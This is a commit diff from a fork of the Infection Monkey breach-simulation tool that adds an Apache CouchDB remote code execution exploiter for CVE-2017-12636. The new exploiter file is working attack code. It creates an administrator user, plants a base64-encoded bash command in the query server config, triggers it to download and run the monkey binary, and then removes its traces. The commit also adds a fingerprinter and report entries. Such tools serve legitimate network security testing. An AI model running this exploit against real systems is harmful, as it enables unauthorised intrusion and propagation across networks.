forked from p15670423/monkey
Exploit: Add Apache CouchDB remote code execution exploit
This commit is contained in:
parent
abe8fc268b
commit
94c2587fee
|
@ -1 +1,2 @@
|
|||
ES_SERVICE = "elastic-search-9200"
|
||||
CDB_SERVICE = "apache-couchdb"
|
||||
|
|
|
@ -0,0 +1,203 @@
|
|||
"""
|
||||
Remote code Execution on Apache CouchDB - CVE-2017-12636
|
||||
Implementation is based on:
|
||||
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
|
||||
"""
|
||||
import base64
|
||||
import json
|
||||
import logging
|
||||
import string
|
||||
from random import SystemRandom
|
||||
|
||||
import requests
|
||||
from requests.auth import HTTPBasicAuth
|
||||
|
||||
from common.common_consts.network_consts import CDB_SERVICE
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import HADOOP_LINUX_COMMAND, ID_STRING, MONKEY_ARG
|
||||
from infection_monkey.network.couchdbfinger import CDB_PORT
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class CouchDBExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ["linux"]
|
||||
_EXPLOITED_SERVICE = "Apache CouchDB"
|
||||
# How long we have our http server open for downloads in seconds
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
# Random string's length that's used for creating unique app name
|
||||
RAN_STR_LEN = 6
|
||||
|
||||
def __init__(self, host):
|
||||
super(CouchDBExploiter, self).__init__(host)
|
||||
|
||||
def get_exploit_config(self):
|
||||
|
||||
exploit_config = super(CouchDBExploiter, self).get_exploit_config()
|
||||
|
||||
exploit_config["dropper"] = True
|
||||
return exploit_config
|
||||
|
||||
def get_open_service_ports(self, port_list, names):
|
||||
# We must append couchdb port we get from couchdb fingerprint module because It's not
|
||||
# marked as 'http' service
|
||||
valid_ports = super(CouchDBExploiter, self).get_open_service_ports(port_list, names)
|
||||
if CDB_SERVICE in self.host.services:
|
||||
valid_ports.append([CDB_PORT, False])
|
||||
return valid_ports
|
||||
|
||||
def _exploit_host(self):
|
||||
# Try to get exploitable url
|
||||
urls = self.build_potential_urls([[CDB_PORT, False]])
|
||||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
return False
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
return False
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||
command = self.build_command(paths["dest_path"], http_path)
|
||||
LOG.info(self.vulnerable_urls[0])
|
||||
LOG.info(command)
|
||||
if not self.exploit(self.vulnerable_urls[0], command):
|
||||
return False
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
self.add_executed_cmd(command)
|
||||
return True
|
||||
|
||||
def exploit(self, url, command):
|
||||
|
||||
vv = requests.get(url).json()["version"]
|
||||
v = vv.replace(".", "")
|
||||
version = int(v[0])
|
||||
|
||||
with requests.session() as session:
|
||||
session.headers = {"Content-Type": "application/json"}
|
||||
|
||||
try:
|
||||
safe_random = SystemRandom()
|
||||
rand_name = ID_STRING + "".join(
|
||||
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
||||
)
|
||||
payload = self.build_payload(rand_name)
|
||||
|
||||
session.put(
|
||||
url + "/_users/org.couchdb.user:" + rand_name,
|
||||
data=payload,
|
||||
timeout=LONG_REQUEST_TIMEOUT,
|
||||
)
|
||||
|
||||
LOG.info("[+] User " + rand_name + " successfully created.")
|
||||
except requests.exceptions.HTTPError:
|
||||
LOG.error("[-] Unable to create the user on remote host.")
|
||||
|
||||
session.auth = HTTPBasicAuth(rand_name, rand_name)
|
||||
|
||||
command = (
|
||||
"bash -c '{echo,%s}|{base64,-d}|{bash,-i}'"
|
||||
% base64.b64encode(str.encode(command)).decode()
|
||||
)
|
||||
|
||||
try:
|
||||
if version == 1:
|
||||
response = session.put(
|
||||
url + "/_config/query_servers/cmd", data=json.dumps(command)
|
||||
)
|
||||
LOG.info("[+] Created payload at: " + url + "/_config/query_servers/cmd")
|
||||
else:
|
||||
host_ses = session.get(url + "/_membership").json()["all_nodes"][0]
|
||||
session.put(
|
||||
url + "/_node/{}/_config/query_servers/cmd".format(host_ses),
|
||||
data=json.dumps(command),
|
||||
)
|
||||
LOG.info(
|
||||
"[+] Created payload at: "
|
||||
+ url
|
||||
+ "/_node/"
|
||||
+ host_ses
|
||||
+ "/_config/query_servers/cmd"
|
||||
)
|
||||
LOG.info("[+] Command executed: " + command)
|
||||
except requests.exceptions.HTTPError as e:
|
||||
LOG.error("[-] Unable to create command payload: " + str(e))
|
||||
|
||||
try:
|
||||
session.put(url + "/" + rand_name)
|
||||
session.put(
|
||||
url + "/{}/test".format(rand_name), data='{"_id": "' + rand_name + 'test"}'
|
||||
)
|
||||
except requests.exceptions.HTTPError:
|
||||
LOG.error("[-] Unable to create database.")
|
||||
|
||||
# Execute payload
|
||||
try:
|
||||
if version == 1:
|
||||
session.post(
|
||||
url + "/{}/_temp_view?limit=10".format(rand_name),
|
||||
data='{"language":"cmd","map":""}',
|
||||
)
|
||||
else:
|
||||
session.put(
|
||||
url + "/{}/_design/test".format(rand_name),
|
||||
data='{"_id":"_design/test","views":'
|
||||
'{"' + rand_name + '":{"map":""} },'
|
||||
'"language":"cmd"}',
|
||||
)
|
||||
LOG.info("[+] Command executed: " + command)
|
||||
except requests.exceptions.HTTPError:
|
||||
LOG.error("[-] Unable to execute payload.")
|
||||
return False
|
||||
|
||||
LOG.info("[*] Cleaning up.")
|
||||
|
||||
# Cleanup database
|
||||
try:
|
||||
session.delete(url + "/" + rand_name)
|
||||
except requests.exceptions.HTTPError:
|
||||
LOG.error("[-] Unable to remove database.")
|
||||
|
||||
# Cleanup payload
|
||||
try:
|
||||
if version == 1:
|
||||
session.delete(url + "/_config/query_servers/cmd")
|
||||
else:
|
||||
host_ses = session.get(url + "/_membership").json()["all_nodes"][0]
|
||||
session.delete(url + "/_node" + host_ses + "/_config/query_servers/cmd")
|
||||
LOG.info("[+] Cleanup finished")
|
||||
return True
|
||||
except requests.exceptions.HTTPError:
|
||||
LOG.error("[-] Unable to remove payload.")
|
||||
|
||||
return response.status_code == 200
|
||||
|
||||
def build_command(self, path, http_path):
|
||||
# Build command to execute
|
||||
monkey_cmd = build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, vulnerable_port=CDB_PORT
|
||||
)
|
||||
|
||||
base_command = HADOOP_LINUX_COMMAND
|
||||
|
||||
return base_command % {
|
||||
"monkey_path": path,
|
||||
"http_path": http_path,
|
||||
"monkey_type": MONKEY_ARG,
|
||||
"parameters": monkey_cmd,
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def build_payload(name):
|
||||
payload = """{"type": "user",
|
||||
"name": %s,
|
||||
"roles": ["_admin"],
|
||||
"roles": [],
|
||||
"password": %s}""" % (
|
||||
name,
|
||||
name,
|
||||
)
|
||||
return str.encode(payload)
|
|
@ -0,0 +1,48 @@
|
|||
import json
|
||||
import logging
|
||||
from contextlib import closing
|
||||
|
||||
import requests
|
||||
from requests.exceptions import ConnectionError, Timeout
|
||||
|
||||
import infection_monkey.config
|
||||
from common.common_consts.network_consts import CDB_SERVICE
|
||||
from infection_monkey.network.HostFinger import HostFinger
|
||||
|
||||
CDB_PORT = 5984
|
||||
CDB_HTTP_TIMEOUT = 5
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class CouchDBFinger(HostFinger):
|
||||
"""
|
||||
Fingerprints couchdb search, only on port 5984
|
||||
"""
|
||||
|
||||
_SCANNED_SERVICE = "CouchDB"
|
||||
|
||||
def __init__(self):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
|
||||
def get_host_fingerprint(self, host):
|
||||
"""
|
||||
Returns couchdb metadata
|
||||
:param host:
|
||||
:return: Success/failure, data is saved in the host struct
|
||||
"""
|
||||
try:
|
||||
url = "http://%s:%s/" % (host.ip_addr, CDB_PORT)
|
||||
with closing(requests.get(url, timeout=CDB_HTTP_TIMEOUT)) as req:
|
||||
data = json.loads(req.text)
|
||||
self.init_service(host.services, CDB_SERVICE, CDB_PORT)
|
||||
host.services[CDB_SERVICE]["cluster_name"] = data["cluster_name"]
|
||||
host.services[CDB_SERVICE]["name"] = data["name"]
|
||||
host.services[CDB_SERVICE]["version"] = data["version"]["number"]
|
||||
return True
|
||||
except Timeout:
|
||||
LOG.debug("Got timeout while trying to read header information")
|
||||
except ConnectionError: # Someone doesn't like us
|
||||
LOG.debug("Unknown connection error")
|
||||
except KeyError:
|
||||
LOG.debug("Failed parsing the Apache CouchDB JSOn response")
|
||||
return False
|
|
@ -17,6 +17,7 @@ BASIC = {
|
|||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"CouchDBExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
|
|
|
@ -42,6 +42,17 @@ EXPLOITER_CLASSES = {
|
|||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
|
||||
"/exploiters/mssql/",
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": ["CouchDBExploiter"],
|
||||
"title": "CouchDB Exploiter",
|
||||
"safe": True,
|
||||
"info": "Vulnerability in CouchDB caused by a discrepancy between the database’s "
|
||||
"native JSON parser and the Javascript JSON parser used during document"
|
||||
" validation",
|
||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
|
||||
"/exploiters/mssql/",
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": ["Ms08_067_Exploiter"],
|
||||
|
|
|
@ -33,6 +33,7 @@ class ExploiterDescriptorEnum(Enum):
|
|||
"ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor
|
||||
)
|
||||
MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor)
|
||||
CDB = ExploiterDescriptor("CouchDBExploiter", "CDB Exploiter", ExploitProcessor)
|
||||
SHELLSHOCK = ExploiterDescriptor(
|
||||
"ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor
|
||||
)
|
||||
|
|
|
@ -29,6 +29,7 @@ import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIs
|
|||
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
|
||||
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
|
||||
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
|
||||
import {cdbIssueOverview, cdbIssueReport} from './security/issues/CDBIssue';
|
||||
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
|
||||
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
|
||||
import {
|
||||
|
@ -136,6 +137,11 @@ class ReportPageComponent extends AuthComponent {
|
|||
[this.issueContentTypes.REPORT]: elasticIssueReport,
|
||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||
},
|
||||
'CouchDBExploiter': {
|
||||
[this.issueContentTypes.OVERVIEW]: cdbIssueOverview,
|
||||
[this.issueContentTypes.REPORT]: cdbIssueReport,
|
||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||
},
|
||||
'ShellShockExploiter': {
|
||||
[this.issueContentTypes.OVERVIEW]: shellShockIssueOverview,
|
||||
[this.issueContentTypes.REPORT]: shellShockIssueReport,
|
||||
|
|
|
@ -0,0 +1,23 @@
|
|||
import React from 'react';
|
||||
import CollapsibleWellComponent from '../CollapsibleWell';
|
||||
|
||||
export function cdbIssueOverview() {
|
||||
return (<li>Apache CouchDB servers are vulnerable to remote code execution.</li>)
|
||||
}
|
||||
|
||||
export function cdbIssueReport(issue) {
|
||||
return (
|
||||
<>
|
||||
Update CouchDB (<a
|
||||
href="https://couchdb.apache.org/">
|
||||
update</a>).
|
||||
<CollapsibleWellComponent>
|
||||
The CouchDB server at <span className="badge badge-primary">{issue.machine}</span> (<span
|
||||
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
|
||||
className="badge badge-danger">remote code execution</span> attack.
|
||||
<br/>
|
||||
The attack was made possible due to old version of Apache CouchDB.
|
||||
</CollapsibleWellComponent>
|
||||
</>
|
||||
);
|
||||
}
|
|
@ -58,6 +58,7 @@ SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_process
|
|||
SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31)
|
||||
ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32)
|
||||
MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35)
|
||||
CDB # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
|
||||
SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
|
||||
STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39)
|
||||
WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40)
|
||||
|
@ -85,7 +86,9 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61)
|
|||
_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
|
||||
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
|
||||
_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
|
||||
auth # unused method (monkey/infection_monkey/exploit/couchdb.py:98)
|
||||
ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
|
||||
CouchDBFinger # unused class (monkey/infection_monkey/network/couchdbfinger.py:18)
|
||||
HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
|
||||
MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)
|
||||
SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15)
|
||||
|
|
Loading…
Reference in New Issue